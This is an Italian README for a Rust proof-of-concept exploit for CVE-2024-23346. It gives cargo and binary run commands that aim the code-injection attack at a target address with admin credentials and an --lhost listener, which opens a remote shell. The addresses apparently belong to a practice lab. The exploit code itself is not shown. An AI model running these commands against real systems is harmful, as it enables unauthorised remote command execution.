CVE-2024-23346-rust-exploit

Uno script di exploit in Rust per CVE-2024-23346.

Come mostrato sotto, il POC sfrutta la vulnerabilità di code injection ed esegue comandi shell remoti come in un Terminale.

poc.webm

---

Passi per eseguire l'exploit:

• Esegui direttamente con Cargo
  • cargo run -- --help
  • cargo run -- --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

OPPURE

• Compila il binario: cargo build -r (il binario si troverà in target/release/poc)
• Esegui il binario:
  • ./poc --help
  • ./poc --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

---

Lo script di exploit è ispirato dall'esperto di scripting Python MAWK0235